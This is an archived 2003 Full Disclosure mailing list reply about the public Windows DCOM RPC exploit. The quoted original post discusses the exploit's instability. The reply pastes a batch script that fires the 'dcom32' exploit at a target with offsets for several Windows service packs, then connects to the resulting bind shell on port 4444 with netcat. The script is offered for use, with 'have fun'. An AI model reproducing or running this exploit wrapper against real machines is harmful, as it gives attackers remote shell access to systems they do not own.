Full Disclosure mailing list archives

Re: dcom exploit code observations


From: "morning_wood" <se_cur_ity () hotmail com>
Date: Mon, 28 Jul 2003 10:30:13 -0700


----- Original Message ----- 
From: "john" <seclist () wiresec net>
To: <full-disclosure () lists netsys com>
Sent: Monday, July 28, 2003 7:42 AM
Subject: [Full-disclosure] dcom exploit code observations


Downloaded the revised exploit code by HD moore and got it compiled on a
linux box.

There seems to either be some flaws in the exploit code or just a
general instability of the rpc service.

If the code is run against a vulnerable box and the right SP level
setting is not correct it crashes the rpc service and shuts down the
port. Restarting the service will bring it back online. If the attack is
successful you get a nice pretty windows shell. If you exit the shell
the rpc service again crashes.

I am sure the code will be revised to eliminate these problems.

John

THIS IS NOT THE CASE...
this .bat works perfect... 
------------  snip -------------------
@echo on
@echo .....................................................
@echo   RPC script by morning_wood
@echo ....................................................
wait
@echo ...
@echo trying XP Service Pack 0
dcom32  5 %1
nc -v -n %1 4444
wait
@echo trying XP Service Pack 1
dcom32 6 %1
nc -v -n %1 4444
wait
@echo trying 2K Service Pack 4
dcom32 4 %1
nc -v -n %1 4444
wait
@echo ........... have fun
wait
@echo bye now
exit
--------  snip -------------------

w00d
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